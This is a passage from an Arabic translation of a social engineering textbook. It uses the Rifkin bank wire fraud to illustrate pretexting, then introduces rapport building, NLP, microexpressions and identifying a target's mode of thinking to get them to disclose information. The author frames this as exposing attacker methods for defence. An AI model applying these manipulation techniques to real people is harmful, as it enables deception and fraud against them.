‫اﻟرﺟل ﺑﻧﻘل رزﻣﮫ ﻣن اﻷﻣوال إﻟﻰ ﺣﺳﺎب ﻓﻲ ﺷرﻛﺔ ﺗرﺳت اﯾرﻓﯾﻧﻎ ﻓﻲ ﻧﯾوﯾورك وﻗدم اﻷرﻗﺎم اﻟﺳرﯾﺔ اﻟﺧﺎﺻﺔ ﺑﺎذون‪/‬ﺗﺻرﯾﺢ اﻟﻧﻘل‪ .‬ﻻ ﯾوﺟد‬
‫ﺷﯾﺋﺎ ﻋﻠﻰ ﻣﺎ ﯾﺑدو ﺧﺎرﺟﺎ ﻋن اﻟﻣﺄﻟوف ﻣن ﻋﻣﻠﯾﺔ اﻟﻧﻘل‪ ،‬وﻣن ﺛم ﻗﺎم اﻟﺑﻧك ﺑﻧﻘل اﻷﻣوال اﻟﻰ ﺑﻧك ﻧﯾوﯾورك‪ .‬ﻣﺳؤوﻟﻲ اﻟﺑﻧك ﻻ ﯾﻌرﻓون ﻣن ھو‬
‫ھذا اﻟرﺟل اﻟذي أطﻠﻖ ﻋﻠﻰ ﻧﻔﺳﮫ ﻣﺎﯾك ھﺎﻧﺳن ﺣﯾث ﻛﺎن ﻓﻲ اﻟﺣﻘﯾﻘﺔ ﺳﺗﺎﻧﻠﻲ رﯾﻔﻛﯾن‪ ،‬واﻧﮫ اﺳﺗﺧدم رﻣز اﻟﺣﻣﺎﯾﺔ اﻟﺧﺎص ﺑﺎﻟﺑﻧك ﻟﺳرﻗﺔ ‪10.2‬‬
‫ﻣﻠﯾون دوﻻر‪.‬‬
‫ھذا اﻟﺳﯾﻧﺎرﯾو ﯾﻘدم اﻟﻛﺛﯾر ﻣﺎ ﯾﻣﻛن اﻟﺣدﯾث ﻋﻧﮫ‪ ،‬ﻟﻛﻧﮫ اﻵن‪ ،‬ﺳوف ﻧرﻛز ﻋﻠﻰ اﻠ ‪ .Pretext‬اﻟﺗﻔﻛﯾر ﻓﻲ ﺗﻔﺎﺻﯾل ﻣﺎ ﻛﺎن ﻟﯾﻔﻌل‪:‬‬
‫‪ -‬ﻛﺎن ﻋﻠﯾﮫ أن ﯾﻛون واﺛﻘﺎ وﻣرﯾﺣﺎ ﻟﻛﯾﻼ ﯾﺛﯾر اﻟﺷﻛوك ﻟﻛوﻧﮫ ﻓﻲ ﺗﻠك اﻟﻐرﻓﺔ‪.‬‬
‫‪ -‬ﻛﺎن ﻋﻠﯾﮫ أن ﯾﻛون ﻗﺻﺔ ذات ﻣﺻداﻗﯾﮫ ﻋﻧدﻣﺎ دﻋﺎ ﻟﻠﻘﯾﺎم ﺑﻧﻘل وﯾﺗذﻛر ﺗﻔﺎﺻﯾﻠﮭﺎ ﻋﻧدﻣﺎ ﯾطﻠب ﻣﻧﮫ إﻋﺎدة روى ﻗﺻﺗﮫ‪.‬‬
‫‪ -‬ﻛﺎن ﻋﻠﯾﮫ أن ﯾﻛون ﻋﻔوﯾﺎ ﺑﻣﺎ ﯾﻛﻔﻲ ﻟﻠذھﺎب ﻣﻊ ﺗدﻓﻖ اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﻗد ﺗﺄﺗﻲ‪.‬‬
‫‪ -‬ﻛﺎن ﻋﻠﯾﮫ أن ﯾﻛون أﯾﺿﺎ ﻋﻠﻰ ﻧﺣو ﺳﻠس ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻷﻻ ﯾﺛﯾر اﻟﺷﻛوك‪.‬‬
‫ﻛﺎﻧت ھذه اﻠ ‪ Pretext‬ﻣﺧطط ﻟﮭﺎ ﺑدﻗﺔ ﺑﺄﻗﺻﻰ ﻗدر ﻣن اﻟﺗﻔﺻﯾل ﻣن ﺧﻼل اﻟﺗﻔﻛﯾر‪ .‬ﻋﻧدﻣﺎ ﺗم اﻟﻘﺑض ﻋﻠﯾﮫ‪ ،‬ﻛﺎن اﻟﻧﺎس اﻟذﯾن ﻋرﻓوه أﺑدوا‬
‫دھﺷﺗﮭم ﺣﺗﻰ ﺑﻌﺿﮭم ﻗﺎﻟوا أﺷﯾﺎء ﻣﺛل‪" ،‬ﻻ ﯾﻣﻛن أن ﯾﻛون ﻟﺻﺎ‪ .‬اﻟﺟﻣﯾﻊ ﯾﺣب ﻣﺎرك" ‪.‬‬
‫ﻣن اﻟواﺿﺢ أن ھذه اﻠ ‪ Pretext‬ﺟﯾده‪ .‬ﺣﯾث ﻛﺎﻧت ﻣدروﺳﺔ ﺟﯾدا‪ ،‬وﻣﺧطط ﻟﮭﺎ‪ .‬ﺣﯾث ﻛﺎن ﯾﻌرف ﻣﺎ ﻛﺎن ﻋﻠﯾﮫ اﻟﻘﯾﺎم ﺑﮫ ھﻧﺎك‪ .‬ﻋﻧدﻣﺎ ﻛﺎن أﻣﺎم‬
‫اﻟﻐرﺑﺎء ﻛﺎن ﻗﺎدرا ﻋﻠﻰ ﻟﻌب دوره ﺟﯾدا‪.‬‬
‫ﻣذھل ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ‪ ،‬ﺑﯾﻧﻣﺎ رﯾﻔﻛﯾن ﺧﺎرج ﺑﻛﻔﺎﻟﺔ‪ ،‬ﺑدأ اﺳﺗﮭداف ﺑﻧك آﺧر ﺑﺎﺳﺗﺧدام اﻟﻧظﺎم ﻧﻔﺳﮫ‪ ،‬وﻟﻛن اﻟﺣﻛوﻣﺔ ﻗﺎﻣت ﺑﻣراﻗﺑﺗﮫ واﺳﺗﮭداﻓﮫ‪ .‬ﺛم‬
‫ﻗﺑض ﻋﻠﯾﮫ وﻗﺿﻰ ﺛﻣﺎﻧﻲ ﺳﻧوات ﻓﻲ اﻟﺳﺟن اﻻﺗﺣﺎدي‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن ﻣﺎرك ھو "اﻟرﺟل اﻟﺳﯾﺊ" ﯾﻣﻛﻧك أن ﺗﺗﻌﻠم اﻟﻛﺛﯾر ﻋن اﻠ ‪Pretext‬‬
‫ﻣن ﻗراءة ﻗﺻﺗﮫ‪ .‬اﺣﺗﻔظ أﻧﮭﺎ ﺑﺳﯾطﺔ ﺟدا واﺳﺗﺧدام اﻷﺷﯾﺎء اﻟﺗﻲ ﻛﺎﻧت ﻣﺄﻟوﻓﺔ ﻟﮫ ﻟﺑﻧﺎء ﻗﺻﺔ ﺟﯾدة‪.‬‬
‫ﻛﺎﻧت ﺧطﺔ ﻣﺎرك ﺳرﻗﺔ اﻷﻣوال وﺗﺣوﯾﻠﮭﺎ إﻟﻰ ﺳﻠﻌﺔ ﻻ ﯾﻣﻛن ﺗﻌﻘﺑﮭﺎ‪ :‬اﻟﻣﺎس‪ .‬ﻟﻠﻘﯾﺎم ﺑذﻟك ﻓﺎﻧﮫ ﺑﺣﺎﺟﺔ أوﻻ إﻟﻰ أن ﯾﻛون ﻣوظف ﺑﺎﻟﺑﻧك ﻟﺳرﻗﺔ‬
‫اﻟﻣﺎل‪ ،‬ﺛم ﻣﺷﺗر رﺋﯾﺳﻲ اﻟﻣﺎس ﻟﺗﻔرﯾﻎ اﻟﻧﻘدﯾﺔ‪ ،‬وأﺧﯾرا ﺑﯾﻊ اﻟﻣﺎس ﻟﻠﺣﺻول ﻋﻠﻰ ﻧﻘود‪ ،‬ﻻ ﯾﻣﻛن ﺗﻌﻘﺑﮭﺎ‪.‬‬
‫ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻠ ‪ Pretext‬ﻟﮫ ﻻ ﺗﻧطوي ﻋﻠﻰ اﻷزﯾﺎء أو أﻧﻣﺎط اﻟﺧطﺎب ﺣﯾث ﻟﻌب دور ﻣوظﻔﻲ اﻟﺑﻧك‪ ،‬ﺛم اﻟﻣﺷﺗري اﻟرﺋﯾﺳﻲ اﻟﻣﺎس‪ ،‬ﺛم‬
‫ﻟﻌب ﺑﺎﺋﻊ اﻟﻣﺎس‪ .‬ﻗﺎم ﺑﺗﻐﯾﯾر اﻷدوار رﺑﻣﺎ ﺛﻼث أو أرﺑﻊ أو ﺧﻣس ﻣرات ﻓﻲ ھذا أزﻋﺞ وﻛﺎن ﻗﺎدرا ﻋﻠﻰ اﻟﻘﯾﺎم ﺑذﻟك ﺑﺷﻛل ﺟﯾد ﺑﻣﺎ ﯾﻛﻔﻲ ﻟﺧداع‬
‫اﻟﺟﻣﯾﻊ ﺗﻘرﯾﺑﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪821‬‬

‫‪Human-Based SE: Psychological Principles Used in SE & Body Language‬‬

‫"ﻛل ھذا ﯾﺗوﻗف ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﻟﻧظر إﻟﻰ اﻷﺷﯾﺎء‪ ،‬وﻟﯾس ﻋﻠﻰ اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ھﻲ ﻓﻲ ﺣد ذاﺗﮭﺎ"‪..........‬ﻛﺎرل ﻏوﺳﺗﺎف ﯾوﻧﻎ‬
‫ﻓﻲ ھوﻟﯾوود‪ ،‬اﻷﻓﻼم واﻟﺑراﻣﺞ اﻟﺗﻠﻔزﯾوﻧﯾﺔ اﻟﺗﻲ ﺗظﮭر اﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن وﻣﻧﻔذي اﻟﻘﺎﻧون ﯾﺗم ﺗﺻوﯾرھم ﻣﻊ ﻣواھب ﺑﺎطﻧﯾﮫ ﺗﻘرﯾﺑﺎ‪ .‬ﻟدﯾﮭم اﻟﻘدرة‬
‫ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ أي ﺷﻲء؛ ﺣﯾث ﯾﺑدو اﻧﮭم ﻗﺎدرﯾن ﻋﻠﻰ ﻣﺟرد إﻟﻘﺎء اﻟﻧظرة ﻓﻲ ﻋﯾون اﻟﺷﺧص وﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎﻧوا ﯾﻛذﺑون أو ﯾﻘوﻟون‬
‫اﻟﺣﻘﯾﻘﺔ‪ .‬ﻣن ﻏﯾر اﻟﻣﺄﻟوف أن ﻧرى ﻣﺛل ھذه اﻟﺣﺎﻻت‪ :‬اﻟﺷرطﻲ ﯾﻧظر ﻓﻲ ﻋﯾون اﻟﻣﺷﺗﺑﮫ ﺑﮫ وﯾﻣﻛﻧﮫ أن ﯾﻘول ﺗﻠﻘﺎﺋﯾﺎ ﻣﺎ إذا ﻛﺎن ﯾﻛذب أو ﯾﻘول‬
‫اﻟﺣﻘﯾﻘﺔ‪ ،‬أو ﻣﺟرد ﻗوة اﻗﺗراح أھداف اﻟرﺟل اﻟﻣﺧﺎدع‪ .‬اﻷﻓﻼم ﻗد ﺗظﮭر ﻟﻛم اﻻﻋﺗﻘﺎد ﺑﺄن أﺳﺎﻟﯾب اﻟﺗﻼﻋب واﻟﺣﺻول ﻋﻠﻰ اﻟﻧﺎس ﻟﻔﻌل أي ﺷﻲء‬
‫ﺗرﯾده ﻣﻌﻘول أو ﺣﺗﻰ ﺳﮭﻠﺔ‪ .‬ھذه اﻟﺳﯾﻧﺎرﯾوھﺎت ھﻲ ﺣﻘﺎ ﺧﯾﺎل؟ ھل ﻣن اﻟﻣﻣﻛن اﻟﺣﺻول ﻋﻠﻰ ھذه اﻟﻘدرات اﻟﺗﻲ ﯾﺗم ﺣﻔظﮭﺎ ﻟﻠﺧﯾﺎل ﻓﻲ اﻷﻓﻼم؟‬
‫ھذا اﻟﺟزء ﯾﻣﻛن أن ﯾﻛون اﻟﻛﺗﺎب ﻓﻲ ﺣد ذاﺗﮫ‪ ،‬وﻟﻛن ﺳوف ﺗﺗﻛﺛف ھذه اﻟﻣﻌﻠوﻣﺎت وﺻوﻻ اﻟﻰ ﻣﺑﺎدئ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﻐﯾر ﺣﻘﺎ اﻟطرﯾﻘﺔ اﻟﺗﻲ‬
‫ﺗﺗﻔﺎﻋل ﻣﻊ اﻟﻧﺎس‪ .‬ﺗﺳﺗﻧد ﺑﻌض اﻟﻣواﺿﯾﻊ ﻓﻲ ھذا اﻟﺟزء ﻋﻠﻰ اﻟﺑﺣوث اﻟﺗﻲ ﻗﺎﻣت ﺑﮭﺎ أﻟﻣﻊ اﻟﻌﻘول ﻓﻲ ﻣﺟﺎﻻت ﺗﺧﺻﺻﮭم‪ .‬ﺗم اﺧﺗﺑﺎر اﻟﺗﻘﻧﯾﺎت‬
‫اﻟﺗﻲ ﺗﻣت ﻣﻧﺎﻗﺷﺗﮭﺎ ﻓﻲ ھذه اﻟﻣواﺿﯾﻊ ووﺿﻌت ﻣن ﺧﻼل ﺧطوات ﻓﻲ ﺑﯾﺋﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﯾﺳﺗﻧد ﻣوﺿوع‬
‫‪) microexpressions‬اﻟﺗﻌﺑﯾرات اﻟدﻗﯾﻘﺔ( ﻋﻠﻰ أﺑﺣﺎث ﻗﺎم ﺑﮭﺎ ﻋﺎﻟم اﻟﻧﻔس اﻟﺷﮭﯾر ﻋﺎﻟﻣﯾﺎ واﻟﺑﺎﺣث اﻟدﻛﺗور ﺑول إﯾﻛﻣﺎن‪ ،‬اﻟذﯾن اﺳﺗﺧدم ﻋﺑﻘرﺗﯾﮫ‬
‫ﻟﺗطوﯾر ﺗﻘﻧﯾﺎت ﻗراءة ﺗﻌﺑﯾرات اﻟوﺟﮫ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻐﯾر ﺣرﻓﯾﺎ طرﯾﻘﺔ إﻧﻔﺎذ اﻟﻘﺎﻧون‪ ،‬اﻟﺣﻛوﻣﺎت‪ ،‬اﻷطﺑﺎء‪ ،‬وﺗﻔﺎﻋل اﻟﻧﺎس اﻟﯾوﻣﻲ ﻣﻊ اﻵﺧرﯾن‬
‫ﺑﻌض ﻣن ﻣﺑﺎدئ رﯾﺗﺷﺎرد ﺑﺎﻧدﻟر وﺟون ﺟرﻧدر‪ ،‬ﻣﻧﺷﺋﻲ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ )‪ ،(neurolinguistic programming‬ﻗﺎﻣت ﺑﺗﻐﯾر ﻓﮭم‬
‫اﻟﻧﺎس ﺣول أﻧﻣﺎط اﻟﺗﻔﻛﯾر وﻗوة اﻟﻛﻠﻣﺎت‪ .‬ھذه اﻟﻣواﺿﯾﻊ ھﻲ ﻣواﺿﯾﻊ ﺗﺣﺗﺎج اﻟﻛﺛﯾر ﻣن اﻟﻧﻘﺎش‪ ،‬ﺣﯾث ﯾﺣﺎول ھذا اﻟﻔﺻل إزاﻟﺔ اﻟﻐﻣوض ﻋن‬
‫ھذا اﻟﻣوﺿوع وﺷرح ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫وﺿﻊ ﺑﻌض ﻣن أﻓﺿل اﻟﻣﺣﻘﻘﯾن ﻋﻠﻰ ھذا اﻟﻛوﻛب اﻟﺗدرﯾب واﻷطر اﻟﻣﺳﺎﻋدة ﻓﻲ إﻧﻔﺎذ اﻟﻘﺎﻧون وذﻟك ﻟﺗﻌﻠم ﻛﯾﻔﯾﺔ اﺳﺗﺟواب اﻟﻣﺷﺗﺑﮫ ﺑﮭم ﻋﻠﻰ‬
‫ﻧﺣو ﻓﻌﺎل‪ .‬ھذه اﻟﻣﺑﺎدئ ﻟدﯾﮭﺎ ﻣﺛل ھذه اﻟﺟذور اﻟﻧﻔﺳﯾﺔ اﻟﻌﻣﯾﻘﺔ اﻟﺗﻲ ﺗﻌﻠم اﻷﺳﺎﻟﯾب اﻟﻣﺳﺗﺧدﻣﺔ واﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ ﻓﺗﺢ أﺑواب أھداﻓك ﺣرﻓﯾﺎ‪.‬‬
‫اﺳﺗﺧدام اﻻﺷﺎرات اﻟﺗﻲ ﯾﻌطﯾﮭﺎ اﻟﻧﺎس ﻓﻲ اﻟﺧطﺎب واﻹﯾﻣﺎءات‪ ،‬واﻟﻌﯾون‪ ،‬واﻟوﺟوه ﻣن اﻟﻣﻣﻛن أن ﺗﺟﻌﻠك ﺗﺑدو ﻗﺎرئ ﻟﻠﻌﻘل‪ .‬وﯾﺗﻧﺎول ھذا‬
‫اﻟﻔﺻل ھذه اﻟﻣﮭﺎرات وﯾﺷرح ﻟﮭم ﺑﺎﻟﺗﻔﺻﯾل ﺑﺣﯾث ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻣن ﻗﺑل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﮭﻧﻲ‪.‬‬
‫اﻟﻌﻼﻗﺔ )‪ (Rapport‬ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﻛون اﻟﻛﻠﻣﺔ اﻟﻣﺳﺗﺧدﻣﺔ ﻣن ﻗﺑل ﻣدرﺑﻲ اﻟﻣﺑﯾﻌﺎت وﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‪ ،‬وإﻧﻣﺎ ھو ﺟﺎﻧب ﻣﮭم ﺟدا ﻣن ﻛﺳب اﻟﺛﻘﺔ‬
‫وﻋرض اﻟﺛﻘﺔ‪ .‬ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ ﺗطوﯾر اﻟﻌﻼﻗﺔ ﻣﻊ اﻟﻧﺎس ھﻲ اﻟﻣﮭﺎرة اﻟﺗﻲ ﺗﻌزز ﺣﻘﺎ ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﮭﺎرات اﻟﺧﺎﺻﺔ ﺑﺎﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪،‬‬
‫وﯾظﮭر ھذا اﻟﻔﺻل ﻟك ﻛﯾف‪.‬‬
‫ﯾﻧﺗﮭﻲ ھذا اﻟﻔﺻل ﻣﻊ أﺑﺣﺎث اﻟﻣؤﻟف اﻟﺷﺧﺻﯾﺔ ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ھذه اﻟﻣﮭﺎرات ﻻﺧﺗراق اﻟﻌﻘل اﻟﺑﺷري‪ Buffer overflow .‬ھو ﺑرﻧﺎﻣﺞ‬
‫ﻣﻛﺗوب ﻋﺎدة ﻣن ﻗﺑل اﻟﻘراﺻﻧﺔ ﻟﺗﻧﻔﯾذ اﻷﻛواد اﻟﺑرﻣﺟﯾﺔ‪ ،‬ﻣﻊ ﻧواﯾﺎ ﺧﺑﯾﺛﺔ ﻋﺎدة‪ ،‬ﻣن ﺧﻼل اﻻﺳﺗﺧدام اﻟﻌﺎدي ﻟﺑراﻣﺞ اﻟﻣﺿﯾف‪ .‬ﻓﻌﻧد ﺗﻧﻔﯾذ‬
‫اﻟﺑرﻧﺎﻣﺞ ﻓﺎﻧﮫ ﯾﻔﻌل ﻣﺎ ﯾرﯾده اﻟﻘرﺻﺎن‪ .‬ﻣﺎ إذا ﻛﺎن ﻣن اﻟﻣﻣﻛن ﺗﺷﻐﯾل "اﻷواﻣر" ﻓﻲ اﻟﻌﻘل اﻟﺑﺷري واﻟﺗﻲ ﻣن ﺷﺄﻧﮫ أن ﯾﺗﺳﺑب ﻓﻲ أن ﯾﺟﻌل‬
‫اﻟﮭدف ﯾﻔﻌل ﻣﺎ ﺗطﻠﺑﮫ‪ ،‬إﻋطﺎء أﻛﺛر ﻟﻠﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﺳﻌﻰ اﻟﯾﮭﺎ‪ ،‬وﻓﻲ ﺟوھرھﺎ‪ ،‬إﺛﺑﺎت أن اﻟﻌﻘل اﻟﺑﺷري ﯾﻣﻛن اﻟﺗﻼﻋب ﺑﮫ؟‬
‫ھذه اﻟﻣﻌﻠوﻣﺎت ﻗوﯾﺔ‪ ،‬ﺑﺎﻟطﺑﻊ‪ ،‬وﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻟﻧواﯾﺎ ﺧﺑﯾﺛﺔ ﺟدا‪ .‬ھدﻓﻲ ﻣن اﻹﻓراج ﻋن ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﻠﺟﻣﮭور ﺑﮭذه اﻟطرﯾﻘﺔ ھو ﺳﺣب‬
‫اﻟﺳﺗﺎر ﻋﻣﺎ ﯾﻘوم ﺑﮫ "اﻷﺷرار" ﺑﻌرض طرﻗﮭم‪ ،‬ﺗﻔﻛﯾرھم )‪ ،(thinking‬واﻟﻣﺑﺎدئ‪ ،‬ﺛم ﺗﺣﻠﯾل ﻛل واﺣد وإظﮭﺎر ﻣﺎ ﯾﻣﻛﻧك ان ﺗﺗﻌﻠم ﻣﻧﮫ‪ .‬ﻓﺿﺢ‬
‫ھذه اﻟﺗﻘﻧﯾﺎت ﯾﻣﻛن ﻣن ﺗﻌرﯾﻔﮭﺎ وﺗﺣدﯾدھﺎ‪ ،‬اﻟدﻓﺎع‪ ،‬واﻟﺗﺧﻔﯾف ﺿد ھذه اﻟﮭﺟﻣﺎت أﺳﮭل ﻟﻠﺟﻣﯾﻊ‪ .‬ھذا اﻟﻔﺻل ھو ﺣﻘﺎ ﺟﻣﻊ ﺑﯾن اﻟﻌﻘل وﺗﻐﯾﯾر‬
‫اﻟﺑﯾﺎﻧﺎت واﻟﻣﺑﺎدئ‪.‬‬
‫ﺗﻌﻠم ﻣﮭﺎرات اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﯾﺳت ﻋﻣﻠﯾﺔ ﺳرﯾﻌﺔ‪ ،‬ﺣﺗﻰ ﻻ ﺗﻔﻘد اﻟﺻﺑر‪ .‬طرق ﺗﻌﻠم ﺑﻌض ھذه اﻟﻣﮭﺎرات ﯾﻣﻛن أن ﯾﺳﺗﻐرق ﺳﻧوات ﻹﺗﻘﺎن‬
‫واﻟﻛﺛﯾر ﻣن اﻟﻣﻣﺎرﺳﺔ ﺣﺗﻰ ﺗﺗﻘﻧﮭﺎ‪ .‬ﺑﺎﻟطﺑﻊ‪ ،‬ﻗد ﺗﻣﺗﻠك ﻣﮭﺎرة ﻋن ﺟﺎﻧب ﻣﻌﯾن‪.‬‬
‫ﻗﺑل أن ﻧدﺧل ﻓﻲ ھذا اﻟﻔﺻل‪ ،‬ﯾﺣدد اﻟﻘﺳم اﻟﺗﺎﻟﻲ اﻟﻣﺳرح ﻟﻣﺎذا وﻛﯾف ﺳﺗﻌﻣل ھذه اﻟﻣﺑﺎدئ‪ .‬ﯾﺟب أن ﻧﻔﮭم طرق اﻟﺗﻔﻛﯾر اﻟﻣوﺟودة‪ .‬ﺑﻌد ﻓﮭم أﻛﺛر‬
‫وﺿوﺣﺎ ﻛﯾف ﯾﺄﺧذ اﻟﻧﺎس اﻟﻣﻌﻠوﻣﺎت وﻣﻌﺎﻟﺟﺗﮭﺎ ﯾﻣﻛﻧك أن ﺗﺑدأ ﻓﻲ ﻓﮭم اﻟﺗﻣﺛﯾﻼت اﻟﻌﺎطﻔﯾﺔ واﻟﻧﻔﺳﯾﺔ واﻟﺟﺳدﯾﺔ ﻟﺗﻠك اﻟﻌﻣﻠﯾﺔ‪.‬‬

‫أﻧﻣﺎط اﻟﺗﻔﻛﯾر )‪(Modes Of Thinking‬‬

‫ﻟﺗﻐﯾﯾر طرﯾﻘﺔ ﺗﻔﻛﯾر ﺷﺧص ﻣﺎ ﯾﺟب أن ﻧﻔﮭم طرﯾﻘﺔ ﺗﻔﻛﯾر اﻟﻧﺎس وﺑﺄي ﻧﻣط ﯾﻌﺗﻘدون‪ .‬ﯾﺑدو أن ھذه اﻟﺧطوة اﻷوﻟﻰ اﻟﻣﻧطﻘﯾﺔ ﻟﻣﺣﺎوﻟﺔ ھذا‬
‫اﻟﺟﺎﻧب ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻗد ﺗﻌﺗﻘد أﻧك ﺑﺣﺎﺟﺔ إﻟﻰ أن ﺗﻛون طﺑﯾب ﻧﻔﺳﺎﻧﻲ أو طﺑﯾب أﻋﺻﺎب ﻟﻔﮭم ﺟواﻧب ﻛﺛﯾرة ﻋن ﻛﯾف ﯾﻣﻛن‬
‫ﻟﻠﺷﺧص أن ﯾﻔﻛر‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن ھذا ﯾﻣﻛن أن ﯾﺳﺎﻋدك‪ ،‬ﻟﻛﻧﮫ ﻟﯾس ﻣن اﻟﺿروري‪ .‬ﻣﻊ ﻗﻠﯾل ﻣن اﻟﺑﺣث وﺑﻌض اﻟﺗطﺑﯾﻖ اﻟﻌﻣﻠﻲ ﯾﻣﻛﻧك‬
‫اﻟﺧوض ﻓﻲ اﻷﻋﻣﺎل اﻟداﺧﻠﯾﺔ ﻟﻠﻌﻘل اﻟﺑﺷري‪.‬‬
‫ﻓﻲ ﺷﮭر أﻏﺳطس ﻋﺎم ‪ 2001‬وﺿﻊ ﻣﻛﺗب اﻟﺗﺣﻘﯾﻘﺎت اﻟﻔدراﻟﻲ ﻣﻧﺷورا ﻟﻣﻧﻔذي اﻟﻘﺎﻧون واﻟﺗﻲ ﺻﻧﻊ ﻣن ﺑﻌض اﻟﺟﻣل اﻟﻌﻣﯾﻘﺔ ﺟدا ﻋن اﻻﻧﻣﺎط‬
‫اﻟﺗﻲ ﯾﻔﻛر ﺑﮭﺎ اﻟﻧﺎس او ﯾﻌﺗﻘدوﻧﮭﺎ‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪822‬‬

‫‪http://www.social-engineer.org/wiki/archives/ModesOfThinking/MOT_FBI_3of5.htm‬‬
‫ﺑﺑﺳﺎطﺔ ﺗﺄﻛد اﻟﺳﻠوك اﻟﻐﯾر ﻟﻔظﻲ إﻟﻰ اﻟﻌﻣﯾل‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام ﻟﻐﺔ ﻣن اﻟﻧظﺎم اﻟﺗﻣﺛﯾﻠﻲ اﻟﻣﻔﺿل ﻟﻠﻌﻣﯾل وﻣطﺎﺑﻘﺔ ﺣﺟم اﻟﻛﻼم‪ ،‬ﻟﮭﺟﺔ‪ ،‬وﻣﺳﺎﺣﺔ‬
‫اﻟﺗﻌﺑﯾر ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗﻐﻠب ﻋﻠﻰ ﺗردد اﻟﻌﻣﯾل ﻋﻠﻰ اﻟﺗواﺻل‪.‬‬
‫ھذا ﺑﯾﺎن ﺑﺳﯾط ﻟدﯾﮫ اﻟﻛﺛﯾر ﻣن اﻟﻌﻣﻖ ﻓﻲ ذﻟك‪ .‬أﺳﺎﺳﺎ ﯾﻘول ﻟك إﻧﮫ إذا ﻛﺎن ﯾﻣﻛﻧك أوﻻ ﻣﻌرﻓﺔ اﻟوﺿﻊ اﻟﻣﮭﯾﻣن ﻣن ﺗﻔﻛﯾر اﻟﮭدف وﻣن ﺛم ﺗﺄﻛﯾد‬
‫ذﻟك ﺑطرق ﺧﻔﯾﺔ‪ ،‬ﯾﻣﻛﻧك ﻓﺗﺢ اﻷﺑواب ﻟﻌﻘل اﻟﮭدف وﻣﺳﺎﻋدﺗﮫ ﻓﻲ أن ﯾﺷﻌر ﺑﺎﻟراﺣﺔ ﻋﻧدھﺎ ﯾﻘول ﻟك اﻟﺗﻔﺎﺻﯾل ﺣﺗﻰ اﻟﺣﻣﯾﻣﺔ‪ .‬ﻣﻧطﻘﯾﺎ ﻗد ﺗﺳﺄل‬
‫ﺑﻌد ذﻟك‪" :‬ﻛﯾف ﯾﻣﻛﻧﻧﻲ ﻣﻌرﻓﺔ اﻟوﺿﻊ اﻟﻣﮭﯾﻣن ﻣن اﻟﺗﻔﻛﯾر )‪ (dominant mode of thinking‬ﻟﻠﮭدف؟"‬
‫ﺣﺗﻰ ﻟو ﻗﻣت ﺑﺳؤال اﻟﻧﺎس ﻋن طرﯾﻘﺗﮭم ﻓﻲ اﻟﺗﻔﻛﯾر ﻓﺎﻧﮭم ﻟن ﯾﻘدﻣوا إﺟﺎﺑﺔ واﺿﺣﺔ‪ ،‬ﻷن اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﻻ ﯾﻌرﻓون ﻣﺎ طرﯾﻘﺔ اﻟﺗﻔﻛﯾر اﻟﺗﻲ‬
‫ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻘﯾﻣون ﻓﯾﮭﺎ‪ .‬ﻧظرا ﻟذﻟك‪ ،‬ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﯾﻛون ﻟدﯾك ﺑﻌض اﻷدوات ﻟﻣﺳﺎﻋدﺗك ﻋﻠﻰ ﺗﺣدﯾد ھذا اﻟوﺿﻊ وﻣن ﺛم اﻟﺗﺑدﯾل‬
‫ﺑﺳرﻋﺔ اﻟﺗروس ﻟﺗﺗﻧﺎﺳب ذﻟك اﻟوﺿﻊ‪ .‬ﯾوﺟد ﻣﺳﺎر واﺿﺢ وﺳﮭل ﻟﮭذه اﻹﺟﺎﺑﺔ وﻟﻛن ﻋﻠﯾك أن ﺗﻌرف اﻷﺳﺎﺳﯾﺎت أوﻻ‪.‬‬

‫اﻟﺣواس )‪(The Senses‬‬

